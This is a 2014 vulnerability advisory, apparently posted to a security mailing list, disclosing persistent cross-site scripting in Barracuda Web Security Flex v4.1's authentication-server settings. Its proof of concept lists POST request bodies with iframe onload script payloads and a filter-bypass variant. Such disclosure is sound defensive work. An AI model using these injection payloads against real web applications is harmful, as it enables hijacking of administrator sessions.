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Subject: Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities (BNSEC-699)
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2014-08-25 15:39:33
Message-ID: 53FB58B5.4000808 () vulnerability-lab ! com
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Document Title:
===============
Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities (BNSEC-699)
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=750
BARRACUDA NETWORK SECURITY ID: BNSEC-699
Release Date:
=============
2014-08-22
Vulnerability Laboratory ID (VL-ID):
====================================
750
Common Vulnerability Scoring System:
====================================
4
Product & Service Introduction:
===============================
The Barracuda Web Security Service is a cloud-based web filtering service ideal for \
organizations with users in multiple locations. With no hardware to install, this \
powerful SaaS web filter quickly and affordably lets administrators safeguard users \
against aggressive malware while centrally managing user access to web content, \
applications, media, file types and more. It even extends content security and \
management to off-network mobile devices – perfect for schools that issue iPads to \
students, or any organization that relies on mobility.
As an enterprise-grade solution for web security, Barracuda Web Security Service \
saves administrators time otherwise spent disinfecting computers and dealing with \
data breaches. Barracuda Web Security Service's intuitive web UI gives clear \
visibility into web activity which speeds network troubleshooting and policy \
management. Interactive graphs let administrators drill down from high-level \
overviews of the organization's web activity to fine-grained information about users, \
websites, applications, files, bandwidth and other factors effecting performance and \
user productivity. Reporting is just as convenient and granular with no database \
administration required. Built on a massively scalable worldwide multi-tenant \
architecture that provides advanced web filtering to customers in fifty countries, \
Barracuda Web Security Service delivers the fastest, most reliable web filtering in \
the industry.
(Copy of the Vendor Homepage: \
https://www.barracudanetworks.com/products/websecurityflex )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a web vulnerability in the \
official Barracuda Networks Web Security Flex v4.1 Application Service.
Vulnerability Disclosure Timeline:
==================================
2013-11-09: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Team)
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Team)
2014-08-10: Vendor Fix/Patch Notification (Barracuda Networks - Developer Team)
2014-08-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Barracuda Networks
Product: Web Security Flex 4.1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the official \
Barracuda Networks Security Flex v4.1 Application Web-Application. The bug allows \
remote attackers to inject own malicious script codes in the vulnerable module on the \
application-side of the appliance service.
The persistent vulnerability is located in the vulnerable Domain Alias, LDAP Host and \
Bind DN/Username values of the `Remote Filtering > Authentication
> Add Authentication Server` module. Low privileged user accounts are able to inject \
> via POST method request own malicious script codes to compromise
the appliance web-application service. The attack vector is located on the \
application-side and the request method to inject malicious conext is POST.
The security risk of the persistent vulnerabilities are estimated as medium with a \
cvss (common vulnerability scoring system) count of 4.0. Exploitation of the security \
issue requires low user inter action (view listing) & a registered low privileged web \
application user account. Successful exploitation of the security vulnerability \
results in session hijacking (manager/admin) or stable (persistent) context \
manipulation.
Request Method(s):
[+] POST
Vulnerable Service(s):
[+] Web Security Flex
Vulnerable Module(s):
[+] Remote Filtering > Authentication > Add Authentication Server > TEST SETTINGS \
or SAVE + Listing!
Vulnerable Parameter(s):
[+] Domain Alias
[+] LDAP Host
[+] Bind DN/Username
Proof of Concept (PoC):
=======================
The persistent web vulnerability in the exception-handling can be exploited by remote \
attackers with low privileged user account and low required user inter action. For \
security demonstration or to reproduce the security vulnerability follow the provided \
information and steps below to continue.
Review: Domain Alias, LDAP Host and Bind DN/Username
<div class="form-result form-result-error" id="flex-global-form-result"
style="display: block;">Unable to connect to​​​​​ \
">​​​​​<iframe src="a">%20%20%20%20"><[PERSISTENT \
SCRIPT CODE INJECTION!]") <:389</iframe></div>
POST REQUEST (BLOCKED): Exception-Handling
enabled=1
domain_name=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
ip_address=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
port=389
encryption=0
bind_dn=hello23
bind_password=hello24
base_dn=iamsuperhack23
uid_attribute=sAMAccountName+check24
uid_value=bumbum
test2=1=
is_ajax=1
ajax_response_format=json
POST REQUEST (BYPASS VALIDATION): Exception-Handling
enabled=1
domain_name=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
ip_address=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
port=389
encryption=0
bind_dn=hello23
bind_password=hello24
base_dn=iamsuperhack23
uid_attribute=sAMAccountName+check24
uid_value=bumbum
test2=1
=
is_ajax=1
ajax_response_format=json
PoC: String (Bypass %20)
">Unable to connect to​​​​​ \
">​​​​​<iframe src="a">%20%20%20%20"><iframe \
src=vuln-lab.com onload=alert("VL") <
Reference(s):
https://webfilteringportaldemo.barracudanetworks.com/r/cloudauth/add
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of all invalid context \
exception-handling messages values. Disallow to redisplay the insecure input and \
filter wrong exception to prevent execution of persistent codes in the context of the \
security appliance application.
Security Risk:
==============
The security risk of the persistent exception-handling validation web vulnerability \
is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri \
(bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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